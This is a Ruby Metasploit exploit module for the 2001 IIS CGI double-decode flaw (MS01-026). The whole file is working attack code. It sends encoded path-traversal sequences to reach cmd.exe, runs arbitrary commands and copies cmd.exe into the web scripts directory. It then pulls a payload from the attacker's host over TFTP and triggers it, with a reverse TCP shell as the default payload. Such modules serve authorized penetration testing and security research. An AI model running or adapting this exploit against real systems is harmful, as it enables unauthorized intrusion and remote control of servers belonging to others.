##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
        'Description' => %q{
          This module will execute an arbitrary payload on a Microsoft IIS installation
          that is vulnerable to the CGI double-decode vulnerability of 2001.

          This module has been tested successfully on:

          Windows 2000 Professional (SP0) (EN);
          Windows 2000 Professional (SP1) (AR);
          Windows 2000 Professional (SP1) (CZ);
          Windows 2000 Server (SP0) (FR);
          Windows 2000 Server (SP1) (EN); and
          Windows 2000 Server (SP1) (SE).

          Note: This module will leave a Metasploit payload exe in the IIS scripts directory.
        },
        'Author' => [ 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2001-0333' ],
          [ 'OSVDB', '556' ],
          [ 'BID', '2708' ],
          [ 'MSB', 'MS01-026' ],
          [ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows (Dropper)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86],
              'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' },
              'Type' => :win_dropper
            }
          ],
          [
            'Windows (Command)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' },
              'Type' => :win_command
            }
          ]
        ],
        'CmdStagerFlavor' => 'tftp',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2001-05-15'
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]),
        OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ])
      ]
    )

    self.needs_cleanup = true
  end

  def dotdotslash
    [
      '..%255c',
      '..%%35c',
      '..%%35%63',
      '..%25%35%63',
      '.%252e/',
      '%252e./',
      '%%32%65./',
      '.%%32%65/',
      '.%25%32%65/',
      '%25%32%65./'
    ].sample
  end

  # Detect the correct Windows directory name.
  # Unfortunately, the IIS scripts directory must
  # be located on the same drive as %SystemRoot%.
  def detect_windows_directory
    win_dirs = %w[winnt windows]
    matches = [
      'Directory of',
      '\\inetpub\\',
      "\\scripts\r\n"
    ]

    win_dirs.each do |dir|
      res = execute_command('dir', windir: dir)
      next unless res
      next unless res.code == 200
      next unless res.body

      matches.each do |m|
        return dir if res.body.to_s.include?(m)
      end
    end

    nil
  end

  def check
    win_dir = detect_windows_directory
    win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    # Don't run the start command...
    # We'll execute the payload via IIS later.
    # Using the "start" method doesn't seem to make IIS very happy :(
    return if cmd.start_with?('start') && cmd.include?('.exe')

    vprint_status("Executing command: #{cmd}")
    if opts[:cgifname]
      cmd_path = opts[:cgifname]
    else
      cmd_path = ''
      datastore['DEPTH'].times { cmd_path << dotdotslash }
      cmd_path << (opts[:windir] || @win_dir)
      cmd_path << '/system32/cmd.exe'
    end
    uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}"
    send_request_cgi({ 'uri' => uri }, 20)
  end

  def copy_cmd_exe_to_scripts_directory
    fname = "#{rand_text_alphanumeric(4..7)}.exe"
    print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...")
    res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}")
    fail_with(Failure::Unknown, 'No reply from server') unless res
    fname
  end

  def exploit
    @win_dir = datastore['WINDIR'] || detect_windows_directory

    fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir

    print_status("Using Windows directory \"#{@win_dir}\"")

    @cmd_exe_fname = copy_cmd_exe_to_scripts_directory

    case target['Type']
    when :win_command
      res = execute_command(payload.encoded, cgifname: @cmd_exe_fname)

      if res && res.body
        cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{<pre>(.*?)</pre>}m).flatten.first.to_s
        if cmd_res.strip.blank?
          print_status('Command returned no output')
        else
          print_good('Command output:')
          print_line(cmd_res)
        end
      else
        print_error('No reply')
      end
    when :win_dropper
      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
      execute_cmdstager(
        temp: '.',
        linemax: 1_400,
        cgifname: @cmd_exe_fname,
        tftphost: tftphost,
        # Force noconcat so we can skip the "start" command in execute_command method
        noconcat: true,
        # We can't delete the payload while it is running, so don't try
        nodelete: true
      )

      exe_payload = stager_instance.payload_exe
      register_file_for_cleanup(exe_payload)

      print_status("Triggering payload \"#{exe_payload}\" via a direct request...")
      send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1)
    end
  end

  # Remove the copied cmd.exe from the IIS scripts directory
  def cleanup
    execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname
  ensure
    super
  end
end
